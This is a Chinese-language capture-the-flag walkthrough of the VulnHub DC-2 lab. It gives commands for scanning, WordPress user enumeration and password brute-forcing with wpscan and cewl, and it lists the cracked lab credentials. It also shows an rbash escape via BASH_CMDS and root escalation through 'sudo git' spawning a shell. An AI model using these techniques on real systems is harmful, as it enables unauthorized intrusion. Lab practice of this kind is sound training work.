一、环境搭建:
与DC-1非常相似,DC-2是另一个专门建立的易受攻击的实验室,目的是获得渗透测试领域的经验。与最初的DC-1一样,它是为初学者设计的。必须具备Linux技能并熟悉Linux命令行,还必须具有使用基本渗透测试工具的经验。就像DC-1一样,有五面旗帜,包括最后一面旗帜。和DC-1一样,旗子对初学者来说很重要,但对有经验的人来说就不那么重要了。简而言之,唯一真正有意义的旗帜,是最后一面旗帜。对于初学者来说,谷歌是你的朋友。好吧,除了所有的隐私问题等等。我没有探索实现root的所有方法,因为我放弃了我一直在研究的上一个版本,并从基本操作系统安装中完全重新开始。
和DC-1一样,有五个flag
2、下载靶场环境
靶场下载地址:
https://www.vulnhub.com/entry/dc-2,311/
二、渗透靶场
1、目标:
目标就是我们搭建的靶场,靶场IP为:XXX.XXX.XXX.XXX/24
2、信息收集:寻找靶机真实IP
命令:nmap -sP 192.168.136.130/24
3、信息收集:探端口及服务
命令:nmap -A -p- -v 192.168.136.130
4、访问web站点
http:// 192.168.136.130
访问不了,且发现我们输入的ip地址自动转化为了域名,我们想到dc-2这个域名解析失败,我们需要更改hosts文件,添加一个ip域名指向。
修改hosts文件,添加靶机IP到域名dc-2的指向
命令:vim /etc/hosts
添加之后,重新访问就能访问成功了
点击flag,进入之后,发现是flag1
大致意思就是暴力破解,账号密码
5、做一个目录扫描
dirb http://dc-2/
发现后台地址
打开后进入到登录页面
http://dc-2/wp-admin/user/
6、用户名枚举
Wpscan一些常用语句:
wpscan --url http://dc-2
wpscan --url http://dc-2 --enumerate t 扫描主题
wpscan --url http://dc-2 --enumerate p 扫描插件
wpscan --url http://dc-2 --enumerate u 枚举用户
扫描wordpress版本
命令:wpscan --url http://dc-2
发现wordpress的版本4.7.10
登录页面尝试登录
随即输入用户名密码,提示用户名不存在,似乎可以进行用户名枚举
首先来个用户枚举,再尝试利用枚举到的用户爆破密码
命令:wpscan --url http://dc-2 --enumerate u
枚举出三个用户名
admin jerry tom
7、暴力破解出账号和密码
命令:cewl http://dc-2/ -w dict.txt
cat dc2.txt
使用wpscan进行暴力破解
命令:wpscan --url http://dc-2 --passwords dc2.txt
爆破出来两个账号
jerry/adipiscing
tom/parturient
使用jerry/adipiscing登录此站点
tom/parturient登陆此站点
8、发现flag2
登录后台之后,我们看到flag2
点进去之后看到flag2提示信息,简单说就是如果wordpress行不通的话就会一个点,我们之前发现有ssh,我们看看ssh
9、在tom的家目录发现flag3
jerry/adipiscing
tom/parturient
登录ssh
ssh tom@192.168.136.130 -p 7744
查看可以使用的命令
命令:echo $PATH
cd进不去目录 使用ls直接查看目录信息
使用echo来绕过rbash
BASH_CMDS[a]=/bin/sh;a
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
echo /*
10、发现flag4
大致意思就是还没有结束。猜想需要提权才能获取到最终的flag,并且flag4 提示我们可以使用git,我们可以通过git来提权
使用tom用户无权限运行sudo 我们切换到jerry用户
我们可以看到无需root权限,jerry 可以使用 git
Sudo -l
11、提权
查看一下可以使用的root权限命令
命令:find / -user root -perm -4000 -print 2>/dev/null
jerry用户也不可以直接sudo su
使用git命令进行提取
命令:sudo git help status
输入!/bin/sh
提权成功
12、发现final-flag.txt
cd /root
cat final-flag.txt
到这一步也就结束了